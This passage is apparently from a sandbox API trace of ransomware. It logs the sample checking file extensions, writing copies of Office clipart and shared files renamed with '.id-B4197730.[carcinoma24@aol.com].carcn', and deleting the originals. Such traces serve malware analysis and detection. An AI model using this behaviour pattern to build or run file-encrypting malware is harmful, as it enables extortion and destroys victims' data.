Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0312.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.655] lstrlenW (lpString=".doc") returned 4 [0312.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString=".docx") returned 5 [0312.656] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.656] lstrlenW (lpString=".pdf") returned 4 [0312.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString=".xls") returned 4 [0312.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.656] lstrlenW (lpString=".xlsx") returned 5 [0312.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.656] lstrlenW (lpString=".ppt") returned 4 [0312.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.656] lstrlenW (lpString=".zip") returned 4 [0312.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.656] lstrlenW (lpString=".rar") returned 4 [0312.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString=".bz2") returned 4 [0312.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString=".7z") returned 3 [0312.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.656] lstrlenW (lpString=".dbf") returned 4 [0312.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.656] lstrlenW (lpString=".1cd") returned 4 [0312.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0312.656] lstrlenW (lpString=".jpg") returned 4 [0312.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.658] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.658] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.665] GetLastError () returned 0x0 [0312.665] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x812c, lpOverlapped=0x0) returned 1 [0312.675] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8130, lpOverlapped=0x0) returned 1 [0312.677] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.677] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.677] SetEndOfFile (hFile=0x374) returned 1 [0312.680] CloseHandle (hObject=0x374) returned 1 [0312.681] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.681] SetEndOfFile (hFile=0x370) returned 1 [0312.686] CloseHandle (hObject=0x370) returned 1 [0312.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0312.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.687] lstrlenW (lpString=".doc") returned 4 [0312.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.688] lstrlenW (lpString=".docx") returned 5 [0312.688] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.688] lstrlenW (lpString=".pdf") returned 4 [0312.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.688] lstrlenW (lpString=".xls") returned 4 [0312.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.688] lstrlenW (lpString=".xlsx") returned 5 [0312.688] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.688] lstrlenW (lpString=".ppt") returned 4 [0312.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.688] lstrlenW (lpString=".zip") returned 4 [0312.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.688] lstrlenW (lpString=".rar") returned 4 [0312.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.688] lstrlenW (lpString=".bz2") returned 4 [0312.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.688] lstrlenW (lpString=".7z") returned 3 [0312.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.689] lstrlenW (lpString=".dbf") returned 4 [0312.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.689] lstrlenW (lpString=".1cd") returned 4 [0312.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0312.689] lstrlenW (lpString=".jpg") returned 4 [0312.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.690] GetLastError () returned 0x0 [0312.691] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1fc8, lpOverlapped=0x0) returned 1 [0312.704] WriteFile (in: hFile=0x38c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1fd0, lpOverlapped=0x0) returned 1 [0312.705] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.705] WriteFile (in: hFile=0x38c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.705] SetEndOfFile (hFile=0x38c) returned 1 [0312.709] CloseHandle (hObject=0x38c) returned 1 [0312.709] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.709] SetEndOfFile (hFile=0x370) returned 1 [0312.712] CloseHandle (hObject=0x370) returned 1 [0312.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0312.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.713] lstrlenW (lpString=".doc") returned 4 [0312.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.713] lstrlenW (lpString=".docx") returned 5 [0312.713] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0312.713] lstrlenW (lpString=".pdf") returned 4 [0312.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.713] lstrlenW (lpString=".xls") returned 4 [0312.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.713] lstrlenW (lpString=".xlsx") returned 5 [0312.713] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0312.713] lstrlenW (lpString=".ppt") returned 4 [0312.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.713] lstrlenW (lpString=".zip") returned 4 [0312.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.714] lstrlenW (lpString=".rar") returned 4 [0312.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.714] lstrlenW (lpString=".bz2") returned 4 [0312.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.714] lstrlenW (lpString=".7z") returned 3 [0312.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.714] lstrlenW (lpString=".dbf") returned 4 [0312.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.714] lstrlenW (lpString=".1cd") returned 4 [0312.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0312.714] lstrlenW (lpString=".jpg") returned 4 [0312.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.716] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.716] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.717] GetLastError () returned 0x0 [0312.717] ReadFile (hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0) Thread: id = 99 os_tid = 0xf90 [0291.246] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x7e8218 [0291.246] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3c20048 [0291.247] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b88 [0291.247] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795fc8 [0291.247] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796c48 [0291.247] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x3d2f020 [0291.250] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796c60 [0291.250] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796c60, Size=0x20) returned 0x75a1c0 [0291.250] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796d50 [0291.250] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796d50, Size=0x20) returned 0x75a350 [0291.250] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.250] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.250] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff50 | out: OldValue=0x313ff50*=0x0) returned 1 [0291.250] lstrlenW (lpString="kernel32.dll") returned 12 [0291.250] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.250] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.250] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.251] Sleep (dwMilliseconds=0x64) [0291.473] Sleep (dwMilliseconds=0x64) [0291.749] Sleep (dwMilliseconds=0x64) [0292.131] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.131] lstrlenW (lpString="boxed-correct.avi") returned 17 [0292.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.450] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=111320) returned 1 [0292.450] CloseHandle (hObject=0x334) returned 1 [0292.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0292.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.450] lstrlenW (lpString=".doc") returned 4 [0292.450] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.450] lstrlenW (lpString=".docx") returned 5 [0292.450] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.450] lstrlenW (lpString=".pdf") returned 4 [0292.451] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString=".xls") returned 4 [0292.451] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString=".xlsx") returned 5 [0292.451] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.451] lstrlenW (lpString=".ppt") returned 4 [0292.451] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString=".zip") returned 4 [0292.451] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString=".rar") returned 4 [0292.451] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString=".bz2") returned 4 [0292.451] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString=".7z") returned 3 [0292.451] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString=".dbf") returned 4 [0292.451] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString=".1cd") returned 4 [0292.451] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString=".jpg") returned 4 [0292.451] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.451] lstrlenW (lpString=".doc") returned 4 [0292.452] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".docx") returned 5 [0292.452] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.452] lstrlenW (lpString=".pdf") returned 4 [0292.452] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".xls") returned 4 [0292.452] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".xlsx") returned 5 [0292.452] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.452] lstrlenW (lpString=".ppt") returned 4 [0292.452] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.452] lstrlenW (lpString=".zip") returned 4 [0292.452] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".rar") returned 4 [0292.452] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".bz2") returned 4 [0292.452] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString=".7z") returned 3 [0292.452] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.452] lstrlenW (lpString=".dbf") returned 4 [0292.452] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.452] lstrlenW (lpString=".1cd") returned 4 [0292.452] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0292.452] lstrlenW (lpString=".jpg") returned 4 [0292.452] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.453] Sleep (dwMilliseconds=0x64) [0292.860] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.860] lstrlenW (lpString="AG00163_.GIF") returned 12 [0292.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.860] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6984) returned 1 [0292.860] CloseHandle (hObject=0x36c) returned 1 [0292.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0292.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.861] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.861] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0292.861] GetLastError () returned 0x0 [0292.861] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0292.874] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0292.875] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.875] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.875] SetEndOfFile (hFile=0x370) returned 1 [0292.875] CloseHandle (hObject=0x370) returned 1 [0292.875] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.876] SetEndOfFile (hFile=0x36c) returned 1 [0292.876] CloseHandle (hObject=0x36c) returned 1 [0292.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.877] lstrlenW (lpString=".doc") returned 4 [0292.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.877] lstrlenW (lpString=".docx") returned 5 [0292.877] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.877] lstrlenW (lpString=".pdf") returned 4 [0292.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.877] lstrlenW (lpString=".xls") returned 4 [0292.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString=".xlsx") returned 5 [0292.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.878] lstrlenW (lpString=".ppt") returned 4 [0292.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".zip") returned 4 [0292.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString=".rar") returned 4 [0292.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString=".bz2") returned 4 [0292.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.878] lstrlenW (lpString=".7z") returned 3 [0292.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned 